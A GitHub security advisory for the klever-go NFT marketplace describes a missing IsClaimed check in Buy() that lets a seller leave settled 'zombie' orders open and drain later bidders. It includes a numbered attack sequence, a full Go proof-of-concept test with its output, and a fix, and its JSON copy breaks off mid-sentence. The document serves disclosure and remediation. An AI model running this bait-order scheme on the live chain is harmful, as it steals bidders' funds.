GHSA-26R5-4MM2-PX5C
Vulnerability from github – Published: 2026-09-23 21:24 – Updated: 2026-09-23 21:24Location: core/kapp/market/market.go — Buy() (approx. L281–436)\
Severity: High
The native marketplace enforces an IsClaimed guard in Claim (market.go:752), CancelOrder (market.go:1125), and orderEscrowAmount (market.go:251), but not in Buy.
Marketplace escrow is virtual: the market KApp account never custodies currency. A bid burns funds from the bidder (bidderAcc.SubFromBalance, ~L378), and refunds/payouts mint to the recipient (AddToBalance, e.g. the prior-bidder refund at ~L349). Soundness depends on each order's CurrentBid being paid out exactly once.
A seller can settle a resting-bid auction early via the seller-accept branch of Claim (~L776) → executeBuyMarket (~L656). That path sets IsClaimed=true, delivers the NFT, pays the seller, and re-saves the order (SetMarketOrder, ~L726) — but, unlike every other settle path, it does not reset EndTime (contrast immediate-buy Buy ~L416 and CancelOrder ~L1206), and no code path deletes the order. The result is a "zombie" order: already settled, yet still loadable with EndTime in the future and a stale CurrentBidder.
Because Buy has no IsClaimed guard, a new bidder can still Buy on that settled order (the bid guard at ~L317 only forces the new amount Y > CurrentBid X). The new bidder is debited Y; the prior bidder is refunded X (funded by the new bidder, not minted); the new bidder becomes CurrentBidder on an IsClaimed order and can then neither Claim (reverts on IsClaimed) nor CancelOrder (reverts on IsClaimed). Their funds are lost permanently.
Attack sequence (permissionless , anyone can create a sell order):
1. Attacker (seller S) creates a resting-bid auction (Price=0, ReservePrice>0) for an NFT and self-bids X as bidder A (Sybil).
2. S accepts A's bid early via Claim → NFT goes to A (= attacker, keeps it), S (= attacker) collects the owner payout, order marked IsClaimed=true but left "live".
3. Victim B bids Y > X on the still-live-looking auction via Buy. Buy refunds prior bidder A the amount X (AddToBalance, L349) and burns Y from B (SubFromBalance, L378).
4. B is now CurrentBidder on a claimed order and can neither Claim nor CancelOrder — both revert on IsClaimed. B's Y is unrecoverable; X of it was siphoned to A; Y−X is destroyed.
POC
package market
import (
"testing"
"github.com/klever-io/klever-go/common/mock"
"github.com/klever-io/klever-go/core/kapp"
"github.com/klever-io/klever-go/core/process/kda/kdautils"
"github.com/klever-io/klever-go/data/block"
"github.com/klever-io/klever-go/data/state"
"github.com/klever-io/klever-go/data/transaction"
"github.com/klever-io/klever-go/kapps"
"github.com/klever-io/klever-go/kvm/mock/stub"
"github.com/stretchr/testify/require"
)
// TestPoC_ZombieOrder_MissingIsClaimedGuardInBuy proves the fund-loss / theft
// vulnerability caused by `Buy` lacking the `IsClaimed` guard that `Claim`
// (market.go L752) and `CancelOrder` (market.go L1125) both enforce.
//
// Attack (attacker A == seller S, victim B):
// 1. S lists an NFT as an Auction with Price=0, ReservePrice=R (bids REST).
// 2. A places a resting bid X >= R via Buy (records CurrentBid/CurrentBidder,
// no settlement because Price==0).
// 3. S accepts the resting bid early via Claim's seller-accept branch (L776),
// which routes to executeBuyMarket: IsClaimed=true, NFT delivered to A,
// proceeds paid to S(=A). This settle path is the ONLY one that does NOT
// reset EndTime and does NOT delete the order -> the order becomes a live
// "zombie" (IsClaimed=true, EndTime in the future, still loadable).
// 4. Victim B calls Buy on the zombie order with Y > X. Buy has no IsClaimed
// guard, so it SUCCEEDS: B is debited Y, prior bidder A is "refunded" X
// (funded by B), and B becomes CurrentBidder on an already-claimed order.
// 5. B can NEITHER Claim (reverts on IsClaimed) NOR CancelOrder (reverts on
// IsClaimed). B's Y is unrecoverable; X of it is siphoned to A.
//
// HARM proven: B ends down Y with no NFT and no recovery path; A ends up X.
func TestPoC_ZombieOrder_MissingIsClaimedGuardInBuy(t *testing.T) {
const (
blockTime = int64(1000)
endTime = int64(1_001_000) // future relative to blockTime
reserve = int64(1_000_000) // R
bidX = int64(1_000_000) // A's resting bid (== reserve, >= reserve required)
bidY = int64(2_000_000) // B's bid on the zombie order (must be > X)
fundAttacker = int64(10_000_000)
fundVictim = int64(10_000_000)
)
klv := kdautils.KLVIdentifier
collectionID := []byte("ZOMBIE-COLL")
assetID := []byte("1")
marketplaceID := []byte("mp-zombie")
orderID := []byte("order-zombie")
attacker := defaultAddr // A == S (seller and first bidder)
victim := defaultOther // B
marketKApp, accCacher, forkController := createTestMarketKApp(t)
// Post-fork behaviour (guards on royalty overflow enabled); does not touch
// the missing-IsClaimed-guard path being tested.
forkController.FixMarketBuyOverflowValue = true
// --- Fund the two user accounts (Buy debits real balances) ---
attackerAcc, err := accCacher.LoadUser(attacker)
require.NoError(t, err)
require.NoError(t, attackerAcc.AddToBalance(fundAttacker, klv, false))
require.NoError(t, accCacher.UpdateUser(attackerAcc))
victimAcc, err := accCacher.LoadUser(victim)
require.NoError(t, err)
require.NoError(t, victimAcc.AddToBalance(fundVictim, klv, false))
require.NoError(t, accCacher.UpdateUser(victimAcc))
// --- Set up the market KApp: marketplace + escrowed NFT + resting auction order ---
marketKappAcc, err := accCacher.LoadKApp(kapps.MarketKAppAddress)
require.NoError(t, err)
require.NoError(t, marketKApp.SetMarketplace(marketKappAcc, &kapps.Marketplace{
ID: marketplaceID,
OwnerAddress: attacker,
Name: []byte("Zombie Market"),
ReferralAddress: attacker,
ReferralPercentage: 0, // keep accounting clean
}))
// The NFT is escrowed in the market KApp (as if seller deposited it via Sell).
require.NoError(t, marketKappAcc.AddInternalKDA(collectionID, assetID, []byte("nft-data")))
// Auction with Price=0, ReservePrice=R -> bids REST (see Buy L330-337 and
// Sell L1003-1014: Auction has no Price>0 requirement).
order := &kapps.MarketOrderData{
ID: orderID,
MarketplaceID: marketplaceID,
MarketType: kapps.MarketOrderData_Auction,
OwnerAddress: attacker,
CollectionID: collectionID,
AssetID: assetID,
CurrencyID: klv,
Price: 0, // <-- makes bids rest instead of auto-settle
ReservePrice: reserve, // R
ReferralPercentage: 0,
StartTime: blockTime,
EndTime: endTime, // future
IsClaimed: false,
}
require.NoError(t, marketKApp.SetMarketOrder(marketKappAcc, order))
require.NoError(t, accCacher.UpdateKapp(marketKappAcc))
// --- Shared KApp context / controller wiring for all handler calls ---
receiptsStub := mock.NewReceiptsContextStub()
ctx := &mock.KAppContextStub{
ContractIDCalled: func() int { return 0 },
ReceiptsCalled: func() kapp.ReceiptsContext { return receiptsStub },
BlockCalled: func() *block.Block {
return &block.Block{Header: &block.BlockHeader{Timestamp: blockTime}}
},
TxNonceCalled: func() uint64 { return 1 },
}
// Zero-royalty asset so executeBuyMarket pays only marketOwnerAmount (== bid) to the owner.
asset := &kapps.KDAData{
OwnerAddress: attacker,
Royalties: &kapps.RoyaltiesData{
Address: attacker,
MarketPercentage: 0,
SplitRoyalties: make(map[string]*kapps.RoyaltySplitData),
},
}
controllerStub := &stub.KAppControllerStub{
GetCurrentKAppContextCalled: func() kapp.KappContext { return ctx },
GetKDAKAppCalled: func() kapp.KDAKapp {
return &stub.KDAKappStub{
GetKDACalled: func(_ []byte) (state.KAppAccountHandler, *kapps.KDAData, error) {
return nil, asset, nil
},
}
},
}
require.NoError(t, marketKApp.SetKAppController(controllerStub))
balance := func(addr []byte) int64 {
a, e := accCacher.LoadUser(addr)
require.NoError(t, e)
return a.GetBalance(klv, false)
}
// ============================================================
// STEP 1: A places a RESTING bid X via the real Buy handler.
// ============================================================
status, err := marketKApp.Buy(attacker, &transaction.BuyContract{
ID: orderID,
CurrencyID: klv,
Amount: bidX,
})
require.NoError(t, err, "resting bid should succeed")
require.Equal(t, transaction.Transaction_Ok, status)
_, restedOrder, err := marketKApp.GetMarketOrder(orderID)
require.NoError(t, err)
require.Equal(t, bidX, restedOrder.CurrentBid, "bid must REST (record CurrentBid), not settle")
require.Equal(t, attacker, restedOrder.CurrentBidder)
require.False(t, restedOrder.IsClaimed, "resting bid must not settle the order")
require.Equal(t, fundAttacker-bidX, balance(attacker), "A debited X on the resting bid")
// ============================================================
// STEP 2: S(=A) accepts the resting bid EARLY via Claim (seller-accept
// branch). This settles the order but leaves EndTime in the future
// and does NOT delete the order -> zombie order.
// ============================================================
status, err = marketKApp.Claim(attacker, &transaction.ClaimContract{ID: orderID})
require.NoError(t, err, "early seller-accept claim should succeed")
require.Equal(t, transaction.Transaction_Ok, status)
_, settledOrder, err := marketKApp.GetMarketOrder(orderID)
require.NoError(t, err, "order must remain LOADABLE after early claim (not deleted)")
require.True(t, settledOrder.IsClaimed, "order is now claimed/settled")
require.GreaterOrEqual(t, settledOrder.EndTime, blockTime,
"BUG: early-claim settle path leaves EndTime in the future (order looks live)")
require.Equal(t, endTime, settledOrder.EndTime, "EndTime was NOT reset by the settle path")
// A got the NFT proceeds back (owner payout == bid X), so A is whole again post-settle.
require.Equal(t, fundAttacker, balance(attacker), "A recovered X as owner payout on settle")
// ============================================================
// STEP 3: Victim B calls Buy on the ZOMBIE (already-claimed) order with Y>X.
// Buy has NO IsClaimed guard -> this SUCCEEDS (the vulnerability).
// ============================================================
status, err = marketKApp.Buy(victim, &transaction.BuyContract{
ID: orderID,
CurrencyID: klv,
Amount: bidY,
})
require.NoError(t, err, "BUG: Buy accepts a bid on an already-claimed (settled) order")
require.Equal(t, transaction.Transaction_Ok, status,
"BUG: Buy returns Ok on a claimed order (missing IsClaimed guard)")
require.Equal(t, fundVictim-bidY, balance(victim), "B debited Y")
require.Equal(t, fundAttacker+bidX, balance(attacker),
"A received a PHANTOM refund of X (funded by B) on the zombie order")
_, zombieOrder, err := marketKApp.GetMarketOrder(orderID)
require.NoError(t, err)
require.Equal(t, victim, zombieOrder.CurrentBidder, "B is now CurrentBidder on a claimed order")
require.Equal(t, bidY, zombieOrder.CurrentBid)
require.True(t, zombieOrder.IsClaimed, "order is STILL claimed - B is stuck")
// ============================================================
// HARM ASSERTION (a): B cannot Claim -> reverts on IsClaimed (market.go L752).
// ============================================================
status, err = marketKApp.Claim(victim, &transaction.ClaimContract{ID: orderID})
require.Error(t, err, "HARM: B's Claim must revert (order already claimed)")
require.Equal(t, transaction.Transaction_ParameterInvalid, status,
"HARM: Claim rejected via IsClaimed guard - B cannot retrieve NFT or refund")
// ============================================================
// HARM ASSERTION (b): B cannot CancelOrder -> reverts on IsClaimed (market.go L1125).
// ============================================================
status, err = marketKApp.CancelOrder(victim, &transaction.CancelMarketOrderContract{OrderID: orderID})
require.Error(t, err, "HARM: B's CancelOrder must revert (order already claimed)")
require.Equal(t, transaction.Transaction_ParameterInvalid, status,
"HARM: CancelOrder rejected via IsClaimed guard - B cannot recover funds")
// ============================================================
// HARM ASSERTION (c): Net accounting - B is permanently down Y with no NFT
// and no recovery path; A is permanently up X.
// ============================================================
require.Equal(t, fundVictim-bidY, balance(victim),
"HARM: B is down Y (%d) with no NFT and no recoverable path", bidY)
require.Equal(t, fundAttacker+bidX, balance(attacker),
"HARM: A is up X (%d), siphoned from B", bidX)
// Confirm B never received the NFT (it was delivered to A at settle time).
victimFinal, err := accCacher.LoadUser(victim)
require.NoError(t, err)
_, nftErr := victimFinal.SubInternalKDA(collectionID, assetID)
require.Error(t, nftErr, "HARM: B holds no NFT for the funds it lost")
t.Logf("PROVEN: B lost %d KLV (balance %d -> %d), unrecoverable. A gained %d KLV (balance %d -> %d). "+
"Y-X = %d KLV destroyed/stranded.",
bidY, fundVictim, balance(victim), bidX, fundAttacker, balance(attacker), bidY-bidX)
}
Executable Go test: core/kapp/market/poc_zombie_order_test.go — TestPoC_ZombieOrder_MissingIsClaimedGuardInBuy
Run:
cd klever-go
GOTOOLCHAIN=auto go test ./core/kapp/market/ -run TestPoC_ZombieOrder_MissingIsClaimedGuardInBuy -v
(Local Go 1.23.1 auto-fetches toolchain 1.25.7 per go.mod. Full market package suite passes no regressions.)
Output:
PROVEN: B lost 2000000 KLV (balance 10000000 -> 8000000), unrecoverable.
A gained 1000000 KLV (balance 10000000 -> 11000000). Y-X = 1000000 KLV destroyed/stranded.
--- PASS: TestPoC_ZombieOrder_MissingIsClaimedGuardInBuy (0.00s)
PASS
Assertions proven (all using real market functions, harm-level not mechanism-level):
- Resting bid: Price=0 auction → bid rests (CurrentBid=X, IsClaimed=false), no auto-settle.
- Early seller-accept Claim → IsClaimed=true, EndTime still in the future, order still loadable (the zombie).
- Victim Buy on the claimed order returns Transaction_Ok (the vulnerability no IsClaimed guard).
- Harm (a): victim's Claim reverts Transaction_ParameterInvalid.
- Harm (b): victim's CancelOrder reverts Transaction_ParameterInvalid.
- Harm (c): victim −Y, attacker +X, victim holds no NFT and has no recovery path.
Impact
- Direct, permanent fund loss for any bidder who bids on an already-settled order. The victim's entire bid
Yis burned with nothing received and no recovery path (ClaimandCancelOrderboth revert onIsClaimed). - Theft: the attacker (seller, also acting as prior bidder
Avia Sybil) keeps the NFT and harvests≈Xfrom each subsequent bidder. Repeatable across many bait orders. - Value destruction:
Y−Xper victim is burned (supply strictly decreases this is theft/fund-loss, not net inflation). - No privileged role required , anyone can create a marketplace sell order.
- Real-world likelihood is Medium: the victim must bid on a settled order that, on-chain, still reads
EndTime-in-future; exposure depends on whether clients surface claimed orders as biddable (a naive/custom frontend or a sniping bot is trappable).
Impact High × Likelihood Medium -> High.
Recommendation
Add an IsClaimed guard at the top of Buy, mirroring Claim (market.go:752) and CancelOrder (market.go:1125):
if marketOrder.IsClaimed {
return transaction.Transaction_ParameterInvalid, ErrMarketOrderAlreadyClaimed
}
Defense-in-depth (optional but recommended): in executeBuyMarket, reset EndTime/CurrentBid/CurrentBidder (or delete the order) on early settlement so a settled order is no longer indistinguishable from a live one. Gate any consensus-visible behavior change behind an epoch fork flag so historical blocks reprocess identically.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.7.19"
},
"package": {
"ecosystem": "Go",
"name": "github.com/klever-io/klever-go"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.7.20"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-82406"
],
"database_specific": {
"cwe_ids": [
"CWE-841"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-23T21:24:03Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "**Location:** `core/kapp/market/market.go` \u2014 `Buy()` (approx. L281\u2013436)\\\n**Severity:** High\n\nThe native marketplace enforces an `IsClaimed` guard in `Claim` (`market.go:752`), `CancelOrder` (`market.go:1125`), and `orderEscrowAmount` (`market.go:251`), but **not in `Buy`**.\n\nMarketplace escrow is *virtual*: the market KApp account never custodies currency. A bid burns funds from the bidder (`bidderAcc.SubFromBalance`, ~L378), and refunds/payouts mint to the recipient (`AddToBalance`, e.g. the prior-bidder refund at ~L349). Soundness depends on each order\u0027s `CurrentBid` being paid out exactly once.\n\nA seller can settle a resting-bid auction **early** via the seller-accept branch of `Claim` (~L776) \u2192 `executeBuyMarket` (~L656). That path sets `IsClaimed=true`, delivers the NFT, pays the seller, and re-saves the order (`SetMarketOrder`, ~L726) \u2014 but, unlike every other settle path, it does **not** reset `EndTime` (contrast immediate-buy `Buy` ~L416 and `CancelOrder` ~L1206), and no code path deletes the order. The result is a \"zombie\" order: already settled, yet still loadable with `EndTime` in the future and a stale `CurrentBidder`.\n\nBecause `Buy` has no `IsClaimed` guard, a new bidder can still `Buy` on that settled order (the bid guard at ~L317 only forces the new amount `Y \u003e CurrentBid X`). The new bidder is debited `Y`; the prior bidder is refunded `X` (funded by the new bidder, not minted); the new bidder becomes `CurrentBidder` on an `IsClaimed` order and can then neither `Claim` (reverts on `IsClaimed`) nor `CancelOrder` (reverts on `IsClaimed`). Their funds are lost permanently.\n\n**Attack sequence (permissionless , anyone can create a sell order):**\n1. Attacker (seller `S`) creates a resting-bid auction (`Price=0`, `ReservePrice\u003e0`) for an NFT and self-bids `X` as bidder `A` (Sybil).\n2. `S` accepts `A`\u0027s bid early via `Claim` \u2192 NFT goes to `A` (= attacker, keeps it), `S` (= attacker) collects the owner payout, order marked `IsClaimed=true` but left \"live\".\n3. Victim `B` bids `Y \u003e X` on the still-live-looking auction via `Buy`. `Buy` refunds prior bidder `A` the amount `X` (`AddToBalance`, L349) and burns `Y` from `B` (`SubFromBalance`, L378).\n4. `B` is now `CurrentBidder` on a claimed order and can neither `Claim` nor `CancelOrder` \u2014 both revert on `IsClaimed`. `B`\u0027s `Y` is unrecoverable; `X` of it was siphoned to `A`; `Y\u2212X` is destroyed.\n\n### POC\n```\npackage market\n\nimport (\n\t\"testing\"\n\n\t\"github.com/klever-io/klever-go/common/mock\"\n\t\"github.com/klever-io/klever-go/core/kapp\"\n\t\"github.com/klever-io/klever-go/core/process/kda/kdautils\"\n\t\"github.com/klever-io/klever-go/data/block\"\n\t\"github.com/klever-io/klever-go/data/state\"\n\t\"github.com/klever-io/klever-go/data/transaction\"\n\t\"github.com/klever-io/klever-go/kapps\"\n\t\"github.com/klever-io/klever-go/kvm/mock/stub\"\n\t\"github.com/stretchr/testify/require\"\n)\n\n// TestPoC_ZombieOrder_MissingIsClaimedGuardInBuy proves the fund-loss / theft\n// vulnerability caused by `Buy` lacking the `IsClaimed` guard that `Claim`\n// (market.go L752) and `CancelOrder` (market.go L1125) both enforce.\n//\n// Attack (attacker A == seller S, victim B):\n// 1. S lists an NFT as an Auction with Price=0, ReservePrice=R (bids REST).\n// 2. A places a resting bid X \u003e= R via Buy (records CurrentBid/CurrentBidder,\n// no settlement because Price==0).\n// 3. S accepts the resting bid early via Claim\u0027s seller-accept branch (L776),\n// which routes to executeBuyMarket: IsClaimed=true, NFT delivered to A,\n// proceeds paid to S(=A). This settle path is the ONLY one that does NOT\n// reset EndTime and does NOT delete the order -\u003e the order becomes a live\n// \"zombie\" (IsClaimed=true, EndTime in the future, still loadable).\n// 4. Victim B calls Buy on the zombie order with Y \u003e X. Buy has no IsClaimed\n// guard, so it SUCCEEDS: B is debited Y, prior bidder A is \"refunded\" X\n// (funded by B), and B becomes CurrentBidder on an already-claimed order.\n// 5. B can NEITHER Claim (reverts on IsClaimed) NOR CancelOrder (reverts on\n// IsClaimed). B\u0027s Y is unrecoverable; X of it is siphoned to A.\n//\n// HARM proven: B ends down Y with no NFT and no recovery path; A ends up X.\nfunc TestPoC_ZombieOrder_MissingIsClaimedGuardInBuy(t *testing.T) {\n\tconst (\n\t\tblockTime = int64(1000)\n\t\tendTime = int64(1_001_000) // future relative to blockTime\n\t\treserve = int64(1_000_000) // R\n\t\tbidX = int64(1_000_000) // A\u0027s resting bid (== reserve, \u003e= reserve required)\n\t\tbidY = int64(2_000_000) // B\u0027s bid on the zombie order (must be \u003e X)\n\t\tfundAttacker = int64(10_000_000)\n\t\tfundVictim = int64(10_000_000)\n\t)\n\n\tklv := kdautils.KLVIdentifier\n\tcollectionID := []byte(\"ZOMBIE-COLL\")\n\tassetID := []byte(\"1\")\n\tmarketplaceID := []byte(\"mp-zombie\")\n\torderID := []byte(\"order-zombie\")\n\n\tattacker := defaultAddr // A == S (seller and first bidder)\n\tvictim := defaultOther // B\n\n\tmarketKApp, accCacher, forkController := createTestMarketKApp(t)\n\t// Post-fork behaviour (guards on royalty overflow enabled); does not touch\n\t// the missing-IsClaimed-guard path being tested.\n\tforkController.FixMarketBuyOverflowValue = true\n\n\t// --- Fund the two user accounts (Buy debits real balances) ---\n\tattackerAcc, err := accCacher.LoadUser(attacker)\n\trequire.NoError(t, err)\n\trequire.NoError(t, attackerAcc.AddToBalance(fundAttacker, klv, false))\n\trequire.NoError(t, accCacher.UpdateUser(attackerAcc))\n\n\tvictimAcc, err := accCacher.LoadUser(victim)\n\trequire.NoError(t, err)\n\trequire.NoError(t, victimAcc.AddToBalance(fundVictim, klv, false))\n\trequire.NoError(t, accCacher.UpdateUser(victimAcc))\n\n\t// --- Set up the market KApp: marketplace + escrowed NFT + resting auction order ---\n\tmarketKappAcc, err := accCacher.LoadKApp(kapps.MarketKAppAddress)\n\trequire.NoError(t, err)\n\n\trequire.NoError(t, marketKApp.SetMarketplace(marketKappAcc, \u0026kapps.Marketplace{\n\t\tID: marketplaceID,\n\t\tOwnerAddress: attacker,\n\t\tName: []byte(\"Zombie Market\"),\n\t\tReferralAddress: attacker,\n\t\tReferralPercentage: 0, // keep accounting clean\n\t}))\n\t// The NFT is escrowed in the market KApp (as if seller deposited it via Sell).\n\trequire.NoError(t, marketKappAcc.AddInternalKDA(collectionID, assetID, []byte(\"nft-data\")))\n\n\t// Auction with Price=0, ReservePrice=R -\u003e bids REST (see Buy L330-337 and\n\t// Sell L1003-1014: Auction has no Price\u003e0 requirement).\n\torder := \u0026kapps.MarketOrderData{\n\t\tID: orderID,\n\t\tMarketplaceID: marketplaceID,\n\t\tMarketType: kapps.MarketOrderData_Auction,\n\t\tOwnerAddress: attacker,\n\t\tCollectionID: collectionID,\n\t\tAssetID: assetID,\n\t\tCurrencyID: klv,\n\t\tPrice: 0, // \u003c-- makes bids rest instead of auto-settle\n\t\tReservePrice: reserve, // R\n\t\tReferralPercentage: 0,\n\t\tStartTime: blockTime,\n\t\tEndTime: endTime, // future\n\t\tIsClaimed: false,\n\t}\n\trequire.NoError(t, marketKApp.SetMarketOrder(marketKappAcc, order))\n\trequire.NoError(t, accCacher.UpdateKapp(marketKappAcc))\n\n\t// --- Shared KApp context / controller wiring for all handler calls ---\n\treceiptsStub := mock.NewReceiptsContextStub()\n\tctx := \u0026mock.KAppContextStub{\n\t\tContractIDCalled: func() int { return 0 },\n\t\tReceiptsCalled: func() kapp.ReceiptsContext { return receiptsStub },\n\t\tBlockCalled: func() *block.Block {\n\t\t\treturn \u0026block.Block{Header: \u0026block.BlockHeader{Timestamp: blockTime}}\n\t\t},\n\t\tTxNonceCalled: func() uint64 { return 1 },\n\t}\n\t// Zero-royalty asset so executeBuyMarket pays only marketOwnerAmount (== bid) to the owner.\n\tasset := \u0026kapps.KDAData{\n\t\tOwnerAddress: attacker,\n\t\tRoyalties: \u0026kapps.RoyaltiesData{\n\t\t\tAddress: attacker,\n\t\t\tMarketPercentage: 0,\n\t\t\tSplitRoyalties: make(map[string]*kapps.RoyaltySplitData),\n\t\t},\n\t}\n\tcontrollerStub := \u0026stub.KAppControllerStub{\n\t\tGetCurrentKAppContextCalled: func() kapp.KappContext { return ctx },\n\t\tGetKDAKAppCalled: func() kapp.KDAKapp {\n\t\t\treturn \u0026stub.KDAKappStub{\n\t\t\t\tGetKDACalled: func(_ []byte) (state.KAppAccountHandler, *kapps.KDAData, error) {\n\t\t\t\t\treturn nil, asset, nil\n\t\t\t\t},\n\t\t\t}\n\t\t},\n\t}\n\trequire.NoError(t, marketKApp.SetKAppController(controllerStub))\n\n\tbalance := func(addr []byte) int64 {\n\t\ta, e := accCacher.LoadUser(addr)\n\t\trequire.NoError(t, e)\n\t\treturn a.GetBalance(klv, false)\n\t}\n\n\t// ============================================================\n\t// STEP 1: A places a RESTING bid X via the real Buy handler.\n\t// ============================================================\n\tstatus, err := marketKApp.Buy(attacker, \u0026transaction.BuyContract{\n\t\tID: orderID,\n\t\tCurrencyID: klv,\n\t\tAmount: bidX,\n\t})\n\trequire.NoError(t, err, \"resting bid should succeed\")\n\trequire.Equal(t, transaction.Transaction_Ok, status)\n\n\t_, restedOrder, err := marketKApp.GetMarketOrder(orderID)\n\trequire.NoError(t, err)\n\trequire.Equal(t, bidX, restedOrder.CurrentBid, \"bid must REST (record CurrentBid), not settle\")\n\trequire.Equal(t, attacker, restedOrder.CurrentBidder)\n\trequire.False(t, restedOrder.IsClaimed, \"resting bid must not settle the order\")\n\trequire.Equal(t, fundAttacker-bidX, balance(attacker), \"A debited X on the resting bid\")\n\n\t// ============================================================\n\t// STEP 2: S(=A) accepts the resting bid EARLY via Claim (seller-accept\n\t// branch). This settles the order but leaves EndTime in the future\n\t// and does NOT delete the order -\u003e zombie order.\n\t// ============================================================\n\tstatus, err = marketKApp.Claim(attacker, \u0026transaction.ClaimContract{ID: orderID})\n\trequire.NoError(t, err, \"early seller-accept claim should succeed\")\n\trequire.Equal(t, transaction.Transaction_Ok, status)\n\n\t_, settledOrder, err := marketKApp.GetMarketOrder(orderID)\n\trequire.NoError(t, err, \"order must remain LOADABLE after early claim (not deleted)\")\n\trequire.True(t, settledOrder.IsClaimed, \"order is now claimed/settled\")\n\trequire.GreaterOrEqual(t, settledOrder.EndTime, blockTime,\n\t\t\"BUG: early-claim settle path leaves EndTime in the future (order looks live)\")\n\trequire.Equal(t, endTime, settledOrder.EndTime, \"EndTime was NOT reset by the settle path\")\n\n\t// A got the NFT proceeds back (owner payout == bid X), so A is whole again post-settle.\n\trequire.Equal(t, fundAttacker, balance(attacker), \"A recovered X as owner payout on settle\")\n\n\t// ============================================================\n\t// STEP 3: Victim B calls Buy on the ZOMBIE (already-claimed) order with Y\u003eX.\n\t// Buy has NO IsClaimed guard -\u003e this SUCCEEDS (the vulnerability).\n\t// ============================================================\n\tstatus, err = marketKApp.Buy(victim, \u0026transaction.BuyContract{\n\t\tID: orderID,\n\t\tCurrencyID: klv,\n\t\tAmount: bidY,\n\t})\n\trequire.NoError(t, err, \"BUG: Buy accepts a bid on an already-claimed (settled) order\")\n\trequire.Equal(t, transaction.Transaction_Ok, status,\n\t\t\"BUG: Buy returns Ok on a claimed order (missing IsClaimed guard)\")\n\n\trequire.Equal(t, fundVictim-bidY, balance(victim), \"B debited Y\")\n\trequire.Equal(t, fundAttacker+bidX, balance(attacker),\n\t\t\"A received a PHANTOM refund of X (funded by B) on the zombie order\")\n\n\t_, zombieOrder, err := marketKApp.GetMarketOrder(orderID)\n\trequire.NoError(t, err)\n\trequire.Equal(t, victim, zombieOrder.CurrentBidder, \"B is now CurrentBidder on a claimed order\")\n\trequire.Equal(t, bidY, zombieOrder.CurrentBid)\n\trequire.True(t, zombieOrder.IsClaimed, \"order is STILL claimed - B is stuck\")\n\n\t// ============================================================\n\t// HARM ASSERTION (a): B cannot Claim -\u003e reverts on IsClaimed (market.go L752).\n\t// ============================================================\n\tstatus, err = marketKApp.Claim(victim, \u0026transaction.ClaimContract{ID: orderID})\n\trequire.Error(t, err, \"HARM: B\u0027s Claim must revert (order already claimed)\")\n\trequire.Equal(t, transaction.Transaction_ParameterInvalid, status,\n\t\t\"HARM: Claim rejected via IsClaimed guard - B cannot retrieve NFT or refund\")\n\n\t// ============================================================\n\t// HARM ASSERTION (b): B cannot CancelOrder -\u003e reverts on IsClaimed (market.go L1125).\n\t// ============================================================\n\tstatus, err = marketKApp.CancelOrder(victim, \u0026transaction.CancelMarketOrderContract{OrderID: orderID})\n\trequire.Error(t, err, \"HARM: B\u0027s CancelOrder must revert (order already claimed)\")\n\trequire.Equal(t, transaction.Transaction_ParameterInvalid, status,\n\t\t\"HARM: CancelOrder rejected via IsClaimed guard - B cannot recover funds\")\n\n\t// ============================================================\n\t// HARM ASSERTION (c): Net accounting - B is permanently down Y with no NFT\n\t// and no recovery path; A is permanently up X.\n\t// ============================================================\n\trequire.Equal(t, fundVictim-bidY, balance(victim),\n\t\t\"HARM: B is down Y (%d) with no NFT and no recoverable path\", bidY)\n\trequire.Equal(t, fundAttacker+bidX, balance(attacker),\n\t\t\"HARM: A is up X (%d), siphoned from B\", bidX)\n\n\t// Confirm B never received the NFT (it was delivered to A at settle time).\n\tvictimFinal, err := accCacher.LoadUser(victim)\n\trequire.NoError(t, err)\n\t_, nftErr := victimFinal.SubInternalKDA(collectionID, assetID)\n\trequire.Error(t, nftErr, \"HARM: B holds no NFT for the funds it lost\")\n\n\tt.Logf(\"PROVEN: B lost %d KLV (balance %d -\u003e %d), unrecoverable. A gained %d KLV (balance %d -\u003e %d). \"+\n\t\t\"Y-X = %d KLV destroyed/stranded.\",\n\t\tbidY, fundVictim, balance(victim), bidX, fundAttacker, balance(attacker), bidY-bidX)\n}\n```\nExecutable Go test: `core/kapp/market/poc_zombie_order_test.go` \u2014 `TestPoC_ZombieOrder_MissingIsClaimedGuardInBuy`\n\nRun:\n```\ncd klever-go\nGOTOOLCHAIN=auto go test ./core/kapp/market/ -run TestPoC_ZombieOrder_MissingIsClaimedGuardInBuy -v\n```\n(Local Go 1.23.1 auto-fetches toolchain 1.25.7 per `go.mod`. Full market package suite passes no regressions.)\n\nOutput:\n```\nPROVEN: B lost 2000000 KLV (balance 10000000 -\u003e 8000000), unrecoverable.\n A gained 1000000 KLV (balance 10000000 -\u003e 11000000). Y-X = 1000000 KLV destroyed/stranded.\n--- PASS: TestPoC_ZombieOrder_MissingIsClaimedGuardInBuy (0.00s)\nPASS\n```\n\nAssertions proven (all using real market functions, harm-level not mechanism-level):\n- Resting bid: `Price=0` auction \u2192 bid rests (`CurrentBid=X`, `IsClaimed=false`), no auto-settle.\n- Early seller-accept `Claim` \u2192 `IsClaimed=true`, `EndTime` still in the future, order still loadable (the zombie).\n- Victim `Buy` on the claimed order returns `Transaction_Ok` (the vulnerability no `IsClaimed` guard).\n- Harm (a): victim\u0027s `Claim` reverts `Transaction_ParameterInvalid`.\n- Harm (b): victim\u0027s `CancelOrder` reverts `Transaction_ParameterInvalid`.\n- Harm (c): victim `\u2212Y`, attacker `+X`, victim holds no NFT and has no recovery path.\n\n### Impact\n\n- **Direct, permanent fund loss** for any bidder who bids on an already-settled order. The victim\u0027s entire bid `Y` is burned with nothing received and no recovery path (`Claim` and `CancelOrder` both revert on `IsClaimed`).\n- **Theft**: the attacker (seller, also acting as prior bidder `A` via Sybil) keeps the NFT *and* harvests `\u2248X` from each subsequent bidder. Repeatable across many bait orders.\n- **Value destruction**: `Y\u2212X` per victim is burned (supply strictly decreases this is theft/fund-loss, not net inflation).\n- No privileged role required , anyone can create a marketplace sell order.\n- Real-world likelihood is Medium: the victim must bid on a settled order that, on-chain, still reads `EndTime`-in-future; exposure depends on whether clients surface claimed orders as biddable (a naive/custom frontend or a sniping bot is trappable). \n\nImpact High \u00d7 Likelihood Medium -\u003e **High**.\n\n### Recommendation\n\nAdd an `IsClaimed` guard at the top of `Buy`, mirroring `Claim` (`market.go:752`) and `CancelOrder` 